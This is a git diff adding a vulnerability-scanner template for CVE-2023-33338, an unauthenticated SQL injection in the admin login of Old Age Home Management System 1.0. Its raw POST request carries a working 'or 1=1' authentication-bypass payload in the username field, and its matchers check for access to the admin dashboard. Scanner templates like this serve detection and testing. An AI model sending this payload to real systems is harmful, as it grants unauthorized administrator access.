diff --git a/http/cves/2023/CVE-2023-33338.yaml b/http/cves/2023/CVE-2023-33338.yaml new file mode 100644 index 0000000000..0b014a518f --- /dev/null +++ b/http/cves/2023/CVE-2023-33338.yaml @@ -0,0 +1,37 @@ +id: CVE-2023-33338 + +info: + name: Old Age Home Management System - SQL Injection + author: Harsh + severity: critical + description: | + Old Age Home Management 1.0 is vulnerable to SQL Injection via the username parameter. + reference: + - https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/ANUJ-KUMAR/Old-Age-Home-Management-2022-2023-1.0 + - https://nvd.nist.gov/vuln/detail/CVE-2023-33338 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2023-33338 + cwe-id: CWE-89 + metadata: + verified: true + tags: cve,cve2023,oahms,sql,unauthenticated,critical +http: + - raw: + - | + POST /oahms/admin/login.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + username=vaday%27+or+1%3D1%23&password=password&submit= + + cookie-reuse: true + redirects: true + matchers: + - type: dsl + dsl: + - 'status_code == 200' + - 'contains(body, "Admin")' + - 'contains(body, "Old Age Home Management System|| Dashboard")' + condition: and